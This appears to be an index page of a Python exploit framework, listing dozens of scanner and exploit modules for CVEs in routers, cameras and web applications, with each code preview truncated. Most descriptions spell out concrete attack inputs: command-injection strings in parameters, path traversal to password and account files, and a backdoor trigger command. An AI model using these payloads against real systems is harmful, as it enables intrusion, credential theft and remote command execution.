Spring Cloud Function - routing-expression Detection (CVE-2022-22963)

Probes Spring Cloud Function endpoints for acceptance of the spring.cloud.function.routing-expression header CVE-2022-22963. Uses a non-destructive SpEL expression; confirmation of RCE requires the companion exploit with a reverse payload. !/usr/bin/env python3 -- coding: utf-8 -- """Spring Cloud...

Play Framework - public Path Traversal File Read

Reads arbitrary files via Play Framework /public/..%2f traversal. !/usr/bin/env python3 -- coding: utf-8 -- """Reads arbitrary files via Play Framework /public/.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi class...

Basilic - diff.php RCE Detection

Detects Basilic = 1.5.14 RCE via /Config/diff.php?file=;id&new=1&old=2. !/usr/bin/env python3 -- coding: utf-8 -- """Basilic Config/diff.php command injection.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name':...

NETGEAR DGN - setup.cgi syscmd RCE (CVE-2024-12847)

Exploits unauthenticated setup.cgi?todo=syscmd command injection. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """NETGEAR DGN setup.cgi syscmd RCE CVE-2024-12847 — opens execute session.""" import re from urllib.parse import quote from kittysploit import from...

Symantec Web Gateway - pbcontrol.php RCE Detection (CVE-2012-2953)

Detects CVE-2012-2953 by requesting /spywall/pbcontrol.php?filename=...;id;... !/usr/bin/env python3 -- coding: utf-8 -- """Symantec Web Gateway pbcontrol.php RCE CVE-2012-2953.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

PHP Utility Belt - ajax.php RCE

Exploits PHP Utility Belt by evaluating PHP via ajax.php code= parameter. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """PHP Utility Belt ajax.php RCE — opens execute session.""" import base64 import re from kittysploit import from lib.protocols.http.httpclient...

Huawei HG659 - /lib/ Path Traversal File Read

Reads arbitrary files from Huawei HG659 via GET /lib/....//....//. !/usr/bin/env python3 -- coding: utf-8 -- """Huawei HG659 /lib/ arbitrary file read.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi class ModuleAuxiliary,...

FreePBX - Music Upload Filename RCE

Exploits FreePBX music module by injecting shell into multipart filename $CMD.wav on /admin/ajax.php?module=music&command=upload. !/usr/bin/env python3 -- coding: utf-8 -- """FreePBX music module filename RCE — opens execute session.""" import re from kittysploit import from...

Apache Axis2 - xsd Path Traversal Detection

Detects Axis2 service ?xsd=../conf/axis2.xml traversal by matching axisconfig AxisJava2.0 in the response. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Axis2 ?xsd= path traversal to axis2.xml.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

HP SiteScope - getSiteScopeConfiguration Detection

Detects unauthenticated SOAP getSiteScopeConfiguration disclosure via /services/APISiteScopeImpl. !/usr/bin/env python3 -- coding: utf-8 -- """HP SiteScope getSiteScopeConfiguration information disclosure.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

Ubiquiti AirOS - Unauthenticated CLI RCE

Exploits AirOS unauthenticated CLI execution via multipart POST to admin.cgi/sd.css with a forged AIROSSESSIONID cookie. !/usr/bin/env python3 -- coding: utf-8 -- """Ubiquiti AirOS unauthenticated CLI RCE.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient...

Zabbix - locales.php RCE Detection

Detects Zabbix = 1.6.2 RCE via /locales.php?download=1&langTo=1&extlang".system'id'."=1. !/usr/bin/env python3 -- coding: utf-8 -- """Zabbix locales.php RCE = 1.6.2.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

Green Packet Router - ajax.cgi RCE Detection

Detects Green Packet OS command injection via /ajax.cgi?action=tagipPing&pip=127.0.0.1%26id%26. !/usr/bin/env python3 -- coding: utf-8 -- """Green Packet router ajax.cgi OS command injection.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

NETGEAR - SOAP Password Disclosure Detection

Detects NETGEAR router unauthenticated SOAP GetInfo disclosure that returns admin NewPassword via LANConfigSecurity. !/usr/bin/env python3 -- coding: utf-8 -- """NETGEAR SOAP LANConfigSecurity password disclosure.""" import re from kittysploit import from lib.protocols.http.httpclient import...

CCTV DVR - Cross Web Server Language RCE Detection

Detects Cross Web Server DVR command injection via /language/Swedish$IFS&&echo and verifying written test file under /mnt/mtd/test. !/usr/bin/env python3 -- coding: utf-8 -- """Multiple CCTV DVR Cross Web Server language path RCE.""" from kittysploit import from lib.protocols.http.httpclient impo...

HP Data Protector - EXEC_CMD RCE Detection (CVE-2011-0923)

Detects CVE-2011-0923 by sending an EXECCMD omniback request that runs windows\system32\ipconfig.exe and matching IP configuration output. !/usr/bin/env python3 -- coding: utf-8 -- """HP Data Protector EXECCMD RCE CVE-2011-0923.""" import socket import time from kittysploit import from...

Open-FTPD - Unauthenticated LIST Detection (CVE-2010-2620)

Detects CVE-2010-2620 by issuing LIST without auth on Gabriel FTP Server and matching 226 Transfer Complete. !/usr/bin/env python3 -- coding: utf-8 -- """Open-FTPD unauthenticated LIST CVE-2010-2620.""" import socket from kittysploit import from lib.protocols.tcp.tcpscannerclient import...

ProFTPD - Compromised Package Backdoor Detection (CVE-2010-20103)

Detects CVE-2010-20103 by sending HELP ACIDBITCHEZ then id; and matching uid=. !/usr/bin/env python3 -- coding: utf-8 -- """ProFTPD 1.3.3c compromised package backdoor CVE-2010-20103.""" import re import socket from kittysploit import from lib.protocols.tcp.tcpscannerclient import Tcpscannerclien...

phpMyFAQ - Unauth Config Backup Detection (CVE-2025-69200)

phpMyFAQ = 4.1.0-RC / 4.0.16 allows unauthenticated POST /api/setup/backup to generate and expose a configuration ZIP containing database credentials CVE-2025-69200 / GHSA-9cg9-4h4f-j6fg. !/usr/bin/env python3 -- coding: utf-8 -- """phpMyFAQ unauthenticated config backup via /api/setup/backup...

platform.cgi - Unauth LFI Detection (CVE-2025-60344)

Detects unauthenticated file disclosure via POST /scgi-bin/platform.cgi thispage= path traversal NETGEAR/D-Link/Cisco Embedded HTTP Server. !/usr/bin/env python3 -- coding: utf-8 -- """Multiple routers /scgi-bin/platform.cgi LFI CVE-2025-60344.""" import re from kittysploit import from...

Tautulli < 2.16.0 - Unauthenticated Path Traversal (CVE-2025-58760)

Tautulli prior to 2.16.0 allows unauthenticated path traversal via /image/images/ and /pmsimageproxy?img=... CVE-2025-58760 / CVE-2025-58761. Presence also indicates related authenticated RCE issues CVE-2025-58762/58763. !/usr/bin/env python3 -- coding: utf-8 -- """Tautulli unauthenticated path...

PTZOptics Camera - Unauth System Config / Password Leak (CVE-2024-8956)

PTZOptics cameras expose /cgi-bin/param.cgi?getsystemconf without authentication, leaking userpasswd hashes CVE-2024-8956. Presence also indicates the related OS command injection CVE-2024-8957. !/usr/bin/env python3 -- coding: utf-8 -- """PTZOptics camera insufficient auth leaking password hash...

Dahua Devices - Path Traversal Account Leak (CVE-2024-13130)

Multiple Dahua devices and OEMs allow path traversal to ../mtd/Config/Sha1Account1 or Account1, leaking SerialID and Password hashes. !/usr/bin/env python3 -- coding: utf-8 -- """Dahua and OEM path traversal to account config files CVE-2024-13130.""" from kittysploit import from...

Zyxel Device - Export_Log LFI Detection (CVE-2023-28770)

Multiple Zyxel devices allow unauthenticated local file disclosure via /ExportLog?/ CVE-2023-28770, Dec 2022 advisory family. !/usr/bin/env python3 -- coding: utf-8 -- """Zyxel zhttpd unauthenticated LFI via ExportLog CVE-2023-28770.""" import re from kittysploit import from...

D-Link DIR-823G - EXCU_SHELL RCE Detection (CVE-2023-26613)

D-Link DIR-823G processes HTTP headers Command1/Confirm1 on /EXCUSHELL, allowing unauthenticated OS command execution CVE-2023-26613. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DIR-823G EXCUSHELL command injection CVE-2023-26613.""" import re from kittysploit import from...

ARRIS Router - Arbitrary File Read Detection (CVE-2022-31793)

Multiple ARRIS routers expose arbitrary files via GET /a/ without authentication CVE-2022-31793. !/usr/bin/env python3 -- coding: utf-8 -- """ARRIS router arbitrary file read via /a/ CVE-2022-31793.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

RIPS - function.php LFI Detection (CVE-2025-34126)

Detects RIPS LFI via /windows/function.php?file=/etc/passwd requires phps-t marker. !/usr/bin/env python3 -- coding: utf-8 -- """RIPS Scanner function.php path traversal CVE-2025-34126.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

CasaOS - Unauth Config/Debug Disclosure (CVE-2025-34171)

CasaOS = 0.4.15 exposes unauthenticated /v1/users/image?path=... under /var/lib/casaos/1/ and /v1/sys/debug host information CVE-2025-34171. !/usr/bin/env python3 -- coding: utf-8 -- """CasaOS unauthenticated config/debug disclosure CVE-2025-34171.""" from kittysploit import from...

Synology DSM Drive Server - Auth Bypass Token Leak (CVE-2024-50630)

Synology Drive Server on DSM allows unauthenticated attackers to read Drive logs via RedirectURI and obtain user access tokens via SYNO.SynologyDrive.Authentication CVE-2024-50630 / SA-24:21. Also indicates CVE-2024-50631 SQLi in sync daemon. !/usr/bin/env python3 -- coding: utf-8 -- """Synology...

Tautulli < 2.16.0 - Unauthenticated Path Traversal (CVE-2025-58760)

Tautulli prior to 2.16.0 allows unauthenticated arbitrary file read via /image/images/ and /pmsimageproxy?img=... CVE-2025-58760 / CVE-2025-58761. !/usr/bin/env python3 -- coding: utf-8 -- """Tautulli unauthenticated path traversal file read CVE-2025-58760 / CVE-2025-58761.""" import re from...

Seagate Personal Cloud - File Read (CVE-2017-18263)

Reads arbitrary files via CVE-2017-18263 getPhotoPlaylistPhotos.psp?url= path. !/usr/bin/env python3 -- coding: utf-8 -- """Seagate Personal Cloud getPhotoPlaylistPhotos file read CVE-2017-18263.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

phpMyFAQ - Unauth Config Backup Download (CVE-2025-69200)

Triggers POST /api/setup/backup without authentication and downloads the generated configuration ZIP may contain database.php credentials — CVE-2025-69200. !/usr/bin/env python3 -- coding: utf-8 -- """phpMyFAQ unauthenticated config backup download CVE-2025-69200.""" import json import re from...

ManageEngine SDP - FILENAME File Read (CVE-2011-2757)

Reads arbitrary files via CVE-2011-2757 FileDownload.jsp FILENAME traversal. !/usr/bin/env python3 -- coding: utf-8 -- """Reads arbitrary files via CVE-2011-2757 FileDownload.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi...

hybris Commerce - medias context File Read (CVE-2014-8871)

Reads arbitrary files via CVE-2014-8871 base64 context parameter on /medias/. !/usr/bin/env python3 -- coding: utf-8 -- """hybris Commerce medias context file read CVE-2014-8871.""" import base64 from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

D-Link/TOTOLINK - ExportSettings.sh Config Dump

Downloads the device configuration backup exposed by /cgi-bin/ExportSettings.sh without authentication CVE-2018-17786 / CVE-2022-32993 / CVE-2023-53896. !/usr/bin/env python3 -- coding: utf-8 -- """Dump D-Link/TOTOLINK config via unauthenticated ExportSettings.sh.""" import re from kittysploit...

HiSilicon Encoder - Path Traversal File Read (CVE-2020-24219)

Reads arbitrary files via HiSilicon encoder path /../../sys/devices/media/13070000.jpgd//. !/usr/bin/env python3 -- coding: utf-8 -- """HiSilicon encoder arbitrary file read CVE-2020-24219.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi...

D-Link DCS - Unauth Credential Dump (CVE-2020-25078)

Dumps camera credentials from /config/getuser?index=0 CVE-2020-25078. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DCS unauthenticated credential dump via /config/getuser CVE-2020-25078.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleAuxiliary,...

Adobe ColdFusion - locale File Read (CVE-2010-2861)

Reads arbitrary files via CVE-2010-2861 locale parameter POST to CFIDE administrator pages. !/usr/bin/env python3 -- coding: utf-8 -- """Reads arbitrary files via CVE-2010-2861 locale parameter POST to CFIDE administrator pages.""" from kittysploit import from lib.protocols.http.httpclient import...

CasaOS - Arbitrary File Read via users/image (CVE-2024-24765)

Reads arbitrary files through CasaOS-UserService /v1/users/image?path= CVE-2024-24765, fixed in 0.4.7. Does not open a shell session. !/usr/bin/env python3 -- coding: utf-8 -- """CasaOS arbitrary file read via /v1/users/image CVE-2024-24765.""" import re from kittysploit import from...

Dahua Devices - Path Traversal Account Dump (CVE-2024-13130)

Exploits path traversal to ../mtd/Config/Sha1Account1 or Account1 on Dahua and OEM devices, leaking SerialID and Password hashes. !/usr/bin/env python3 -- coding: utf-8 -- """Dahua/OEM path traversal to account config CVE-2024-13130.""" from kittysploit import from lib.protocols.http.httpclient...

Buffalo LinkStation - Arbitrary File Read (CVE-2025-26167)

Buffalo LinkStation exposes /rpc/cat/?inter=1 without authentication, allowing unauthenticated arbitrary file reads password hashes, configs, etc.. !/usr/bin/env python3 -- coding: utf-8 -- """Buffalo LinkStation unauthenticated arbitrary file read via /rpc/cat/ CVE-2025-26167.""" import re from...

ARRIS Router - Arbitrary File Read (CVE-2022-31793)

Reads arbitrary files from ARRIS routers via GET /a/ CVE-2022-31793. Does not open a shell session. !/usr/bin/env python3 -- coding: utf-8 -- """ARRIS router arbitrary file read via /a/ CVE-2022-31793.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

Accellion FTA - statecode File Read (CVE-2015-2856)

Reads arbitrary files via CVE-2015-2856 statecode cookie LFI on /intermediatelogin.html. !/usr/bin/env python3 -- coding: utf-8 -- """Accellion FTA statecode cookie file disclosure CVE-2015-2856.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

jQuery File Upload - Unauth Upload RCE Detection (CVE-2018-9206)

Detects CVE-2018-9206 by uploading a PHP one-liner via blueimp jQuery-File-Upload endpoints and executing id. !/usr/bin/env python3 -- coding: utf-8 -- """Blueimp jQuery File Upload unauthenticated RCE CVE-2018-9206.""" import re from urllib.parse import urlparse from kittysploit import from...

PhpWiki - Ploticus RCE Detection (CVE-2014-5519)

Detects CVE-2014-5519 by POSTing a Ploticus device=";id;" payload to index.php edit preview. !/usr/bin/env python3 -- coding: utf-8 -- """PhpWiki Ploticus device command injection CVE-2014-5519.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

PHPUnit - eval-stdin.php RCE (CVE-2017-9841)

Exploits CVE-2017-9841 by POSTing PHP to eval-stdin.php. Opens an interactive execute session via shellexec. !/usr/bin/env python3 -- coding: utf-8 -- """PHPUnit eval-stdin.php unauthenticated RCE CVE-2017-9841 — opens execute session.""" import base64 from kittysploit import from...

phpThumb - fltr Command Injection RCE (CVE-2010-1598)

Exploits CVE-2010-1598 by injecting shell commands into the fltr blur filter. !/usr/bin/env python3 -- coding: utf-8 -- """phpThumb fltr command injection CVE-2010-1598.""" import re from urllib.parse import quote from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

phpMyAdmin - server_sync.php Backdoor RCE (CVE-2012-5159)

Exploits CVE-2012-5159 by POSTing PHP to /serversync.php. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """phpMyAdmin serversync.php backdoor CVE-2012-5159 — opens execute session.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient fr...

osCommerce - file_manager.php Upload RCE (CVE-2009-20006)

Exploits CVE-2009-20006 by writing PHP via admin/filemanager.php/login.php?action=save. !/usr/bin/env python3 -- coding: utf-8 -- """osCommerce filemanager.php upload RCE CVE-2009-20006.""" from random import randint from kittysploit import from lib.protocols.http.httpclient import Httpclient fro...

Lucee - imgProcess.cfm Unauthenticated RCE (CVE-2021-21307)

Exploits CVE-2021-21307 by writing a CFML shell via /lucee/admin/imgProcess.cfm?file=.cfm and executing commands through cfexecute. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Lucee imgProcess.cfm unauthenticated RCE CVE-2021-21307 — opens execute session.""...